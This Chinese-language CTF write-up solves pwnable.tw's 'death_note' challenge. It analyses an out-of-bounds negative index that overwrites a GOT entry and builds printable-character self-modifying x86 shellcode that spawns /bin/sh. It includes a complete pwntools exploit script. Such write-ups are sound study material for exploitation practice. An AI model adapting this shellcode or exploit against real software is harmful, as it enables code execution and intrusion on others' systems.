1 程序分析
32 位,基本上啥保护都没开,这里显示开了 Canary,但是实际上反编译看是没有的
1 2 3 4 5 6 7 8 9 10
| (pwn) secreu@Vanilla:~/code/pwnable/death_note$ checksec --file=death_note [*] '/home/secreu/code/pwnable/death_note/death_note' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
|
1.1 add_note
输入一个 index,然后输入 name,用 strdup 分配堆块并将输入的 name 拷贝上去,堆块地址会写入 ¬e + v1,这是一个 .bss 节上的地址,但是它并没有限制 index 的下限,所以这里存在溢出。
程序没有开 NX,我们可以输入负的 index 向上覆盖 GOT 表,将其中一个表项改成堆块地址,在堆块里写 shellcode
查阅资料可知,在 Linux 5.8 左右之后,堆内存的执行权限不再和栈内存执行权限同步,所以高版本的 heap 就没有写 shellcode 的说法了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned int add_note() { int v1; char s[80]; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); v1 = read_int(); if ( v1 > 10 ) { puts("Out of bound !!"); exit(0); } printf("Name :"); read_input(s, 0x50u); if ( !is_printable(s) ) { puts("It must be a printable name !"); exit(-1); } *(¬e + v1) = strdup(s); puts("Done !"); return __readgsdword(0x14u) ^ v3; }
|
但是还有一个限制,写入堆块里的 name 必须是可见字符,具体来说就是每一个 byte 都要在 (0x1f, 0x7f) 中。
这里关于上界的代码表述为 s[i] == 127,但是实际上 char 是有符号的,其数值意义的最大整数就是 0x7f
1 2 3 4 5 6 7 8 9 10 11
| int __cdecl is_printable(char *s) { size_t i;
for ( i = 0; strlen(s) > i; ++i ) { if ( s[i] <= 31 || s[i] == 127 ) return 0; } return 1; }
|
1.2 show_note
根据 index 打印堆块内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int show_note() { int result; int v1;
printf("Index :"); v1 = read_int(); if ( v1 > 10 ) { puts("Out of bound !!"); exit(0); } result = (int)*(¬e + v1); if ( result ) return printf("Name : %s\n", (const char *)*(¬e + v1)); return result; }
|
1.3 del_note
根据 index 删除对应 note,不存在 UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int del_note() { int result; int v1;
printf("Index :"); v1 = read_int(); if ( v1 > 10 ) { puts("Out of bound !!"); exit(0); } free(*(¬e + v1)); result = v1; *(¬e + v1) = 0; return result; }
|
2 漏洞利用
思路很明确了,就是写可见字符的 shellcode
主要的难点在构造 int 0x80,我们需要在 shellcode 运行时修改 shellcode 中的最后一条指令,将其改成 \xcd\x80
所以我们需要有 rip 之外的寄存器能够索引 shellcode 地址,这里选择 free 即可,通过调试查看进入 free 时的寄存器状态。这里 rax 存放的是 shellcode 地址,edx 是 0

首先将 '/bin//sh\x00' 压栈,再令 ebx 保存其地址
1 2 3 4 5 6
| # ebx -> '/bin//sh\x00' push edx push 0x68732f2f push 0x6e69622f push esp pop ebx
|
然后我们在 shellcode 的到最后写上 \x20\x7e 通过下面的方法修改成 \xcd\x80
1 2 3 4 5 6 7 8 9 10 11
| push edx push 0x53 pop edx sub byte ptr [eax + 36], dl # 0x20 - 0x53 = 0xcd pop edx
push edx dec edx dec edx sub byte ptr [eax + 37], dl # 0x7e - 0xfe = 0x80 pop edx
|
最后将 eax = 0xb、ecx = edx = 0
1 2 3 4 5 6 7 8 9
| # eax = 0xb push edx pop eax xor al, 0x3b xor al, 0x30
# ecx = edx = 0 push edx pop ecx
|
3 利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
elf = ELF('./death_note') context(os=elf.os, arch=elf.arch, log_level='debug')
def add(index, name): io.sendafter(b'Your choice :', b'1') io.sendafter(b'Index :', str(index).encode()) io.sendafter(b'Name :', name)
def show(index): io.sendafter(b'Your choice :', b'2') io.sendafter(b'Index :', str(index).encode())
def delete(index): io.sendafter(b'Your choice :', b'3') io.sendafter(b'Index :', str(index).encode())
def exploit(): note_addr = 0x804A060 free_got = elf.got['free'] idx = (free_got - note_addr) // 4
shellcode = asm( ''' push edx push 0x68732f2f push 0x6e69622f push esp pop ebx
push edx push 0x53 pop edx sub byte ptr [eax + 36], dl pop edx
push edx dec edx dec edx sub byte ptr [eax + 37], dl pop edx
push edx pop eax xor al, 0x3b xor al, 0x30
push edx pop ecx ''' ) + b'\x20\x7e\x00'
add(idx, shellcode)
delete(idx) io.interactive()
if __name__ == "__main__": io = remote("chall.pwnable.tw", 10201)
exploit()
|